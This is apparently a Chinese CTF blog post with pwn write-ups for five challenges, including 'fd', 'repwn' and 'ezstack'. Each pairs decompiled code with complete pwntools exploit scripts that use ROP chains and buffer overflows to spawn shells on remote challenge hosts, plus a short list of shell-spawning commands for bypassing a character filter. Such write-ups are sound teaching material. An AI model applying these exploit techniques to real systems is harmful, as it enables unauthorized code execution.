每日一Pwn 2025/1/20

2024年8月训练题

fd

fd 全称为 file descripter ,又叫做文件描述符。它用一个非负整数表示,指向由系统内核维护的一个 file table 中的某个条目( entry ),后者又指向储存文件真实地址的 inode table。

操作系统会预留三个默认的fd :stdin stdout stderr,分别对应0,1,2。之后的fd都从3开始分配


检查保护,64位只开了代码执行保护

image-20250120003613414

查看程序,无后门函数,查看主函数

v5 = 0;
puts("What is fd?");
fd = open("./flag", 0, 0LL);      // fd从3开始
v3 = 16 * fd;                       // v3 = 16*3 = 48
LOBYTE(v3) = (16 * fd) | 0xDE;      // v3最低有效字节= 48 | 0xDE
fd2 = v3;
dup2(fd, v3);                       // 将v3重定向到fd
close(fd);
puts("Can you read it?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &v5);            // 输入read的标识符
read(v5, buf, 0x50uLL);             // 从标识符读取0x50的数据
puts(buf);
return 0;

也就是说只需要输入 v3 即可获取 flag。现在的难点是对于LOBYTE函数的模拟

在 C 语言中,LOBYTE 是用来获取 v3 变量的低字节的宏。在 Python 中,我们可以通过以下步骤实现:

  1. 将 fd 乘以 16
  2. 对结果进行按位或操作 | 0xDE
  3. 将这个结果的低字节保存到 v3 的低字节。
fd = 3
v3 = 16 * fd

result = (16 * fd) | 0xDE
new_v3 = (v3 & 0xFF00) | (result & 0xFF)
print(f'v3 = {new_v3}')

编写代码

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='36.152.17.4'
port=32832
file_name='fd'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    fd = 3
    v3 = 16 * fd

    result = (16 * fd) | 0xDE
    new_v3 = (v3 & 0xFF00) | (result & 0xFF)
    print(f'v3 = {new_v3}')

    io.sendlineafter(b'fd:',str(result).encode())

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

repwn

检查保护,开了RELRO和代码执行保护

image-20250120114821497

查看程序,无后门函数。首先需要分析makebinsh 函数内容

image-20250120115737188

这里需要注意 v8[2] 是 v8[0] v8[1] ,v9 才是 v8[2],这里改一下变量名

strcpy(src, "/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); // 定义了 src 字符串
s = malloc(8uLL);
memset(s, 0, 8uLL);                                                     // 初始化 s 为0,动态分配的8字节内存空间(堆)
v0 = time(0LL);
srand(v0);                                                              // 将当前时间作为种子,初始化伪随机数生成器
puts("Input seven sigle numbers:");
for ( i = 0; i <= 6; ++i )
    __isoc99_scanf("%d", &v8[i]);                                     // 输入7个整数存入v8中
if ( v8[1] )
{
    v1 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v1 / 2147483647.0))], 1uLL);
}                                                                       // v8[1]非零时,根据随机数选择的字符从 src 字符串中追加到 s
else
{
    strncat((char *)s, src, 1uLL);
}                                                                       // v8[1]为零时,将 src 中的第一个字符('/')追加到 s 中
if ( num_6 == num_7 )
{
    strncat((char *)s, &src[2], 1uLL);
}                                                                       // num_6 等于 num_7 时,将 src 中的第3个字符('b')追加到 s 中
else
{
    v2 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v2 / 2147483647.0))], 1uLL);
}                                                               // num_6 不等于 num_7 时,根据随机数选择的字符从 src 字符串中追加到 s中
strncat((char *)s, &src[9], 1uLL);                                      // 将 src 中的第10个字符('i')追加到 s 中
if ( num_7 == num_3 - v8[0] )
{
    strncat((char *)s, &src[14], 1uLL);
}                                                               // num_7 等于 num_3 - v8[0] 时,将 src 中的第15个字符('n')追加到 s 中
else
{
    v3 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v3 / 2147483647.0))], 1uLL);
}                                                           // num_7 不等于 num_3 - v8[0] 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( num_3 + v8[0] == num_4 )
{
    strncat((char *)s, &src[num_7], 1uLL);
}                                       // num_3 + v8[0] 等于 num_4 时,将 src 中的第[num_7]+1个字符(需要为/,则[num_7]应为0)追加到 s 中
else
{
    v4 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v4 / 2147483647.0))], 1uLL);
}                                                           // num_3 + v8[0] 不等于 num_4 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( num_3 * v8[0] == num_4 )
{
    strncat((char *)s, &src[19], 1uLL);
}                                                               // num_3 * v8[0] 等于 num_4 时,将 src 中的第20个字符('s')追加到 s 中
else
{
    v5 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v5 / 2147483647.0))], 1uLL);
}                                                           // num_3 * v8[0] 不等于 num_4 时,根据随机数选择的字符从 src 字符串中追加到 s
if ( 2 * num_4 + 1 == num_5 )
{
    strncat((char *)s, &src[8], 1uLL);
}                                                               // 2 * num_4 + 1 等于 num_5 时,将 src 中的第9个字符('h')追加到 s 中
else
{
    v6 = rand();
    strncat((char *)s, &src[(int)(53.0 * ((double)v6 / 2147483647.0))], 1uLL);
}                                                           // 2 * num_4 + 1 不等于 num_5 时,根据随机数选择的字符从 src 字符串中追加到 s
printf("Here's the string:%s\n", (const char *)s);                           // 输出字符串s
printf("The address is:%p\n", s);                                         // 输出字符串s的地址
return 0LL;

综上所述,如果要构造出 /bin/sh,需要满足下列条件,通过z3库求解

s = Solver()

num_1 = Int('num_1')
num_2 = Int('num_2')
num_3 = Int('num_3')
num_4 = Int('num_4')
num_5 = Int('num_5')
num_6 = Int('num_6')
num_7 = Int('num_7')

s.add(num_2 == 0)               # /
s.add(num_6 == num_7)           # b
                                # i
s.add(num_7 == num_3 - num_1)   # n
s.add(num_7 == 0)
s.add(num_3 + num_1 == num_4)   # /
s.add(num_3 * num_1 == num_4)   # s
s.add(2 * num_4 + 1 == num_5)   # h

if s.check() == sat:
    print(s.model())    

得到答案

[num_1 = 2,
 num_2 = 0,
 num_3 = 2,
 num_4 = 4,
 num_5 = 9,
 num_6 = 0,
 num_7 = 0]

 numbers = [2, 0, 2, 4, 9, 0, 0]

查看程序发现 action 函数中有 execve 可以执行 /bin/sh,先 pop rdi 再调用函数

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='36.152.17.4'
port=32833
file_name='repwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    numbers = [2, 0, 2, 4, 9, 0, 0]

    io.recvuntil(b'Input seven sigle numbers:')

    for i in range(7):
        io.sendline(str(numbers[i]).encode())
        print(numbers[i])

    io.recvuntil(b'0x')
    binsh_add=int(io.recv(8),16)
    print(f'binsh_add: {hex(binsh_add)}')

    pop_rdi = 0x00000000004016d0
    execve_add = 0x0000000000401296

    offset = 0x40

    payload = b'a'*(offset+8) + p64(pop_rdi) + p64(binsh_add) + p64(execve_add)

    io.sendlineafter(b'want?', payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

源鲁杯2024

giaopwn

检查保护,64位只开了代码执行保护

image-20250120222417013

查看程序,有cat flag 和 system 在不同位置

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='gz.imxbt.cn'
port=20639
file_name='giaopwn'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    pop_rdi = 0x0000000000400743
    cat_add = 0x0000000000601048
    system_add = 0x00000000004006D2

    offset = 0x20

    payload = b'a'*(offset+8) + p64(pop_rdi) + p64(cat_add) +p64(system_add)

    io.sendlineafter(b'YLCTF',payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.interactive()

ezstack

检查保护,64位只开了代码执行保护

image-20250120223740469

查看程序,发现后门函数,可以直接执行输入的指令,但是过滤了 's' 'h' 'c' 'f' 这几个字符,这里我们需要其他的提权指令

提权指令

bin/sh
bash
su
sh
$0

在stack函数中发现栈溢出的read,这里注意需要栈对齐

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='gz.imxbt.cn'
port=20642
file_name='ezstack'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    system_add = 0x000000000040127A

    offset = 0x30

    payload1 = b'a'*(offset+8) + p64(system_add)

    io.sendlineafter(b'stack',payload1)

    io.sendlineafter(b'command',b"$0")

if __name__=='__main__':
    io=Start()
    Exp()
    io.sendline(b"cat flag")
    io.interactive()

shortshell

参考 2024年10月训练题 shortshell


ezstack2

检查保护,64位只开了代码执行保护

image-20250120225914280

查看程序,有后门函数,但对传入的参数有要求,依然调用pop_rdi,这里需要注意一下栈对齐

from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
from struct import pack
from LibcSearcher import * # type: ignore
from ctypes import*
from MyPwn import*

#========================
context.arch='amd64'
# context.arch = 'i386'
# context.log_level = 'debug'

host='gz.imxbt.cn'
port=20642
file_name='ezstack2'

Breakpoint_NoPIE=0x1100
Breakpoint_PIE=0x1100
#========================

local_file = '/mnt/c/Users/HelloCTF_OS/Desktop/Pwn_file/'+ file_name
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def Start():
    if args.C:
        ROPgadget(local_file)
        exit(0)
    elif args.CL:
        ROPgadget(local_libc)
        exit(0)
    elif args.G:
        gdbscript = f'b *{Breakpoint_NoPIE}'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.GP:
        gdbscript = f'b *$rebase({Breakpoint_PIE})'
        io = process(local_file)
        gdb.attach(io, gdbscript)
    elif args.P:
        io = process(local_file)
    else:
        io = remote(host,port)
    return io

def Exp():
    1==1

    pop_rdi = 0x0000000000400823
    ret_add = 0x000000000040056e
    system_add = 0x0000000000400757

    offset = 0x30

    payload = b'a'*(offset+8) + p64(pop_rdi) + p64(0x114514) + p64(ret_add) + p64(system_add)

    io.sendlineafter(b'stack',payload)

if __name__=='__main__':
    io=Start()
    Exp()
    io.sendline(b'ls')
    io.sendline(b"cat flag")
    io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇